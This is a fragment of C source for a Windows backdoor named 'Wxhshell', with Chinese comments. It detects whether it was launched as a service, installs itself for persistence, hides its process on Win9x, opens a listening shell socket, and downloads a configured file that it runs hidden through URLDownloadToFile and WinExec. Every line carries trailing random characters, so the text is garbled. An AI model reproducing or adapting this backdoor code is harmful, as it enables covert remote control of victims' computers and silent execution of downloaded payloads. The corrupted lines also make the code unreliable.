DWORD BasePriority; >~tx8aI{
ULONG UniqueProcessId; n'%cO]nSx
ULONG InheritedFromUniqueProcessId; dV-6 l6
} PROCESS_BASIC_INFORMATION; n(CM)(ozU
;Eh"]V,e
PROCNTQSIP NtQueryInformationProcess; VKg9^%#b`[
kYR^
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *^CN2tm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pimI)1 !$'
MPF({Pnx7
HANDLE hProcess; x6^FpNgQ
PROCESS_BASIC_INFORMATION pbi; 9#kk5 )J
O'QnfpQ*9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 12: Q`
if(NULL == hInst ) return 0; XEN-V-Z%*
Mhc5<~?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MM( ,D&
Z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G&4D0f
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5xU}}[|~-
I.`DBI#-f
if (!NtQueryInformationProcess) return 0; H}(WL+7
Q5_ ,`r`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 15%6;K?b
if(!hProcess) return 0; w{N8Y~O
Pon0(:#1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;alt% :$n
dCLNZq h6
CloseHandle(hProcess); fJe5
i6`(
WcpH="vm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y@qugQM>
if(hProcess==NULL) return 0; ^N`KT
yN06` =
HMODULE hMod; LxiN9
char procName[255]; "W_E!FP]r
unsigned long cbNeeded; J?tnS6V
$-<yX<.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \x5>H:\Y
fG{3S:TQq
CloseHandle(hProcess); fd62m]X
"Nz"|-3Irv
if(strstr(procName,"services")) return 1; // 以服务启动 Yq:/dpA_
MYR\W*B'b
return 0; // 注册表启动 x@:98P
} 8cRc5X
9Vt6);cA-]
// 主模块 A;f)`i0l,
int StartWxhshell(LPSTR lpCmdLine) %CgmZTz~<
{ p:ZQ*Ue
SOCKET wsl; -^8OjGat
BOOL val=TRUE; Y^|15ek
int port=0; Yk*_u}?#
struct sockaddr_in door; V9%9nR!'
R@`xS<`L/
if(wscfg.ws_autoins) Install(); % 3fpIzm
c;=St1eoz
port=atoi(lpCmdLine); Ki%)LQAg
D%=&euB
if(port<=0) port=wscfg.ws_port; C;9P6^Oz
QD1&"T<.d.
WSADATA data; C[;7i!Dv
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F>E_d<m
brLu~]I
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {n S(B
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RusiCo!r
door.sin_family = AF_INET; D>`{f4Y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w2^s}NO
door.sin_port = htons(port); C[+?gQJ[9
aD~S~L!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0XE(v c!
closesocket(wsl); /Wdrpv-%,1
return 1; ,eL&Ner
} Svs&?B\}{6
er>{#8 P
if(listen(wsl,2) == INVALID_SOCKET) { .I>CL4_
closesocket(wsl); #;m^DX QZn
return 1; ")NQwT}
} KCqz]
Wxhshell(wsl); 7JY9#+?p>
WSACleanup(); Oe^9pH,1t
-vt6n1A&b
return 0; '|M} 3sL
:73T9/
} +RK/u
F(,SnSam
// 以NT服务方式启动 xx?0Ftuq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `G>|g^6%i
{ ~u?rjkSFoh
DWORD status = 0; vv
DWORD specificError = 0xfffffff; J>nta?/,X
NCm=l
serviceStatus.dwServiceType = SERVICE_WIN32; 472'P
serviceStatus.dwCurrentState = SERVICE_START_PENDING; H
'nLC,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D^{jXNDNO
serviceStatus.dwWin32ExitCode = 0; >as+#rz1p
serviceStatus.dwServiceSpecificExitCode = 0; [y<s]C6E
serviceStatus.dwCheckPoint = 0; <FN+
serviceStatus.dwWaitHint = 0; !
e?=g%(
h^J :k
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Exat_ L'?
if (hServiceStatusHandle==0) return; 4dh>B>Q
p%OVl[^jp
status = GetLastError(); $=C `V
if (status!=NO_ERROR) gUp9yV
{ 9 I&[6}
serviceStatus.dwCurrentState = SERVICE_STOPPED; l8lJ &
serviceStatus.dwCheckPoint = 0; *LvdrPxU=
serviceStatus.dwWaitHint = 0; UG6\OgkL+
serviceStatus.dwWin32ExitCode = status; 9s*UJIL
serviceStatus.dwServiceSpecificExitCode = specificError; paxZlA
o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #EH\Q%
return; TI8EW
} 0bGQO&s
[
![Vrbe P
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2J`LZS
serviceStatus.dwCheckPoint = 0; 2[KHmdgtB
serviceStatus.dwWaitHint = 0; UZgrSX {
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \ow(4O#
} q?f-h<yRQ
-BsZw.
7P
// 处理NT服务事件,比如:启动、停止 Mv7tK
l
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2%]#rZ
{ `Cu9y+t
switch(fdwControl) .;D'
{ fY|vq
amA;
case SERVICE_CONTROL_STOP: ~ \c
j
serviceStatus.dwWin32ExitCode = 0; pFwe&_u]
serviceStatus.dwCurrentState = SERVICE_STOPPED; pf3-
serviceStatus.dwCheckPoint = 0; ww\2
serviceStatus.dwWaitHint = 0; c>C!vAg
{
O@rZ^Aa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \<b42\a}
} dBW4%Zh
return; 4_4|2L3
case SERVICE_CONTROL_PAUSE: G2J4N2hu
serviceStatus.dwCurrentState = SERVICE_PAUSED; I;mc:@R<
break; Ej`G(
case SERVICE_CONTROL_CONTINUE: RLDu5
serviceStatus.dwCurrentState = SERVICE_RUNNING; B^x}=Z4
break; Fk?KR
case SERVICE_CONTROL_INTERROGATE: HA0yX?f]
break; U,aMv[Z B
}; hllb\Y)XL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D,s[{RW+q
} B{1yMJA
"VAbUs
// 标准应用程序主函数 UD5f+,_;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /{Z<!7u;U
{ }oii|=,#^
y $L&N0z
// 获取操作系统版本 /j(<rz"j
OsIsNt=GetOsVer(); xf{=~j/L
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,9.NMFn
XJ3aaMh"
// 从命令行安装 z'EphL7r
if(strpbrk(lpCmdLine,"iI")) Install(); )KY U[
9cMMkOM J
// 下载执行文件 eZ(o _
if(wscfg.ws_downexe) { {d,^tG}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I4zm{ 1g
WinExec(wscfg.ws_filenam,SW_HIDE); QFEc?sEe
} v/3Vsd
&|Vzo@D(!
if(!OsIsNt) { }z2K"eGt
// 如果时win9x,隐藏进程并且设置为注册表启动 ]tEH `Kl
HideProc(); o(xt%'L`t
StartWxhshell(lpCmdLine); IPnx5#eB
} Ly6) ,[q~
else _Tma1~Gq
if(StartFromService()) 0O?!fd n
// 以服务方式启动 R"QWap}
StartServiceCtrlDispatcher(DispatchTable); f<@`{oP@
else $`/F5R!
// 普通方式启动 jt&rOPL7
StartWxhshell(lpCmdLine); 4eS(dPI0
L4Si0 K
return 0; <9?`zo$y
}